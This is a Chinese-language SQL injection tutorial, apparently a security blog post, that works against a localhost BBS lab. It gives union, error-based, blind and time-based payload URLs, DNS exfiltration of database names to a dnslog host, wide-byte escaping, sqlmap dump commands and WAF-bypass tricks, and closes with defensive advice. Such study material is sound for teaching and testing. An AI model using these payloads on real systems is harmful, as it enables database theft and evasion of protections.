📅 2026-01-07 📂 Web安全 SQL注入 sqlmap WAF绕过 盲注 DNS外带
一、SQL注入概述
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意SQL语句,从而对数据库进行非法操作。
SQL注入的危害包括:
- 数据泄露:读取数据库中的敏感信息(用户账号、密码、个人信息等)
- 数据篡改:修改、删除数据库中的数据
- 权限提升:获取数据库管理员权限
- 系统控制:通过数据库功能执行操作系统命令
二、SQL注入分类
2.1 联合查询注入(Union Based)
利用 UNION 操作符将攻击者的SQL语句与原始查询合并,从而获取额外数据。
测试环境:
http://localhost/bbs/showmessage.php?id=1
http://localhost/bbs/showmessage.php?id=2
判断注入点:
http://localhost/bbs/showmessage.php?id=1 and 1=1 -- 正常
http://localhost/bbs/showmessage.php?id=1 and 1=2 -- 异常
判断列数:
http://localhost/bbs/showmessage.php?id=1 order by 1 -- 正常
http://localhost/bbs/showmessage.php?id=1 order by 2 -- 正常
http://localhost/bbs/showmessage.php?id=1 order by N -- 直到报错
联合查询获取数据:
http://localhost/bbs/showmessage.php?id=-1 union select 1,2,3,...
http://localhost/bbs/showmessage.php?id=-1 union select 1,version(),database()
http://localhost/bbs/showmessage.php?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database()
2.2 报错注入(Error Based)
利用数据库报错信息来获取数据,常用的报错函数包括:
-- updatexml报错注入
http://localhost/bbs/showmessage.php?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)
-- extractvalue报错注入
http://localhost/bbs/showmessage.php?id=1 and extractvalue(1,concat(0x7e,(select database()),0x7e))
-- floor报错注入
http://localhost/bbs/showmessage.php?id=1 and (select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a)
2.3 布尔盲注(Boolean Based Blind)
当页面不显示查询结果和报错信息,但会根据SQL语句的真假返回不同页面时,使用布尔盲注。
-- 判断数据库名长度
http://localhost/bbs/showmessage.php?id=1 and length(database())=5
-- 逐字符猜解数据库名
http://localhost/bbs/showmessage.php?id=1 and substr(database(),1,1)='a'
http://localhost/bbs/showmessage.php?id=1 and ascii(substr(database(),1,1))=97
-- 使用ord函数
http://localhost/bbs/showmessage.php?id=1 and ord(mid(database(),1,1))=97
2.4 时间盲注(Time Based Blind)
当页面没有任何回显和报错时,通过时间延迟来判断SQL语句的真假。
-- 基于sleep的延迟
http://localhost/bbs/showmessage.php?id=1 and if(1=1,sleep(5),0)
http://localhost/bbs/showmessage.php?id=1 and if(length(database())=5,sleep(5),0)
-- 基于benchmark的延迟
http://localhost/bbs/showmessage.php?id=1 and if(1=1,benchmark(10000000,sha1('test')),0)
三、DNS外带数据
当无法直接获取数据时,可以通过DNS查询将数据外带到攻击者控制的服务器。
http://dnslog.cn/
DNS外带注入payload:
-- MySQL DNS外带
http://localhost/bbs/showmessage.php?id=1 and load_file(concat('\\\\',database(),'.dnslog域名\\abc'))
-- 使用sqlmap的DNS外带
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" --dns-domain=dnslog域名
四、宽字节注入
当应用程序使用GBK/GB2312等宽字节编码时,可以利用宽字节特性绕过转义。
-- 正常情况,单引号被转义
http://localhost/bbs/test.php?id=1\' -- 被转义为 1\'
-- 宽字节注入,%df与\合并为一个宽字节字符
http://localhost/bbs/test.php?id=1%df\' -- %df%5c组成一个GBK字符,单引号逃逸
五、sqlmap工具使用
sqlmap 是一款自动化的SQL注入检测与利用工具,官方地址:https://sqlmap.org/
5.1 基本用法
# 检测注入点
sqlmap -u "http://localhost/bbs/showmessage.php?id=1"
# 获取数据库
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" --dbs
# 获取表
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" -D 数据库名 --tables
# 获取列
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" -D 数据库名 -T 表名 --columns
# 获取数据
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" -D 数据库名 -T 表名 -C 列名 --dump
5.2 常用参数
-u URL # 指定目标URL
--data=DATA # POST数据
--cookie=COOKIE # 设置Cookie
--level=LEVEL # 检测级别(1-5)
--risk=RISK # 风险级别(1-3)
--technique=TECH # 指定注入技术(B/E/U/S/T/Q)
--tamper=TAMPER # 使用绕过脚本
--batch # 不询问,使用默认选项
--random-agent # 使用随机User-Agent
--proxy=PROXY # 使用代理
--dns-domain=DOMAIN # DNS外带域名
5.3 POST注入
sqlmap -u "http://localhost/bbs/member/register.php" --data="username=admin&password=123456"
5.4 Cookie注入
sqlmap -u "http://localhost/bbs/index.php" --cookie="session=abc123"
六、WAF绕过
6.1 大小写绕过
http://localhost/bbs/showmessage.php?id=1 UnIoN SeLeCt 1,2,3
6.2 双写绕过
http://localhost/bbs/showmessage.php?id=1 ununionion selselectect 1,2,3
6.3 编码绕过
-- URL编码
http://localhost/bbs/showmessage.php?id=1 %55nion %53elect 1,2,3
-- 十六进制编码
http://localhost/bbs/showmessage.php?id=1 union select 1,hex(database()),3
-- Unicode编码
http://localhost/bbs/showmessage.php?id=1 uni%6fn sel%65ct 1,2,3
6.4 注释绕过
-- 内联注释
http://localhost/bbs/showmessage.php?id=1 /*!union*/ /*!select*/ 1,2,3
-- MySQL版本注释
http://localhost/bbs/showmessage.php?id=1 /*!50000union*/ /*!50000select*/ 1,2,3
6.5 空格绕过
-- 使用注释替代空格
http://localhost/bbs/showmessage.php?id=1/**/union/**/select/**/1,2,3
-- 使用%09 %0a %0b %0c %0d替代空格
http://localhost/bbs/showmessage.php?id=1%09union%09select%091,2,3
6.6 使用sqlmap的tamper脚本
# 查看所有tamper脚本
sqlmap --list-tampers
# 常用tamper脚本
sqlmap -u "URL" --tamper="space2comment" # 空格转注释
sqlmap -u "URL" --tamper="between" # 用between替代大于号
sqlmap -u "URL" --tamper="randomcase" # 随机大小写
sqlmap -u "URL" --tamper="charencode" # URL编码
sqlmap -u "URL" --tamper="space2comment,between" # 组合使用
七、实战环境
本文使用的测试环境:
- 目标BBS系统:
http://localhost/bbs/ - 测试页面:
http://localhost/bbs/showmessage.php?id=1http://localhost/bbs/showmessage.php?id=2http://localhost/bbs/test.phphttp://localhost/bbs/member/register.phphttp://localhost/bbs/member/cgpwd.phphttp://localhost/bbs/index.php
- DNS外带工具:http://dnslog.cn/
- SQL注入工具:sqlmap
八、防御建议
- 使用参数化查询(预编译语句),从根本上防止SQL注入
- 对用户输入进行严格校验和过滤
- 使用ORM框架,减少手写SQL的场景
- 最小权限原则,数据库用户只授予必要权限
- 部署WAF,作为额外的安全防护层
- 关闭数据库报错信息显示,避免信息泄露
- 定期进行安全审计和漏洞扫描
© 2026 安全攻防笔记 - 仅供安全研究与学习使用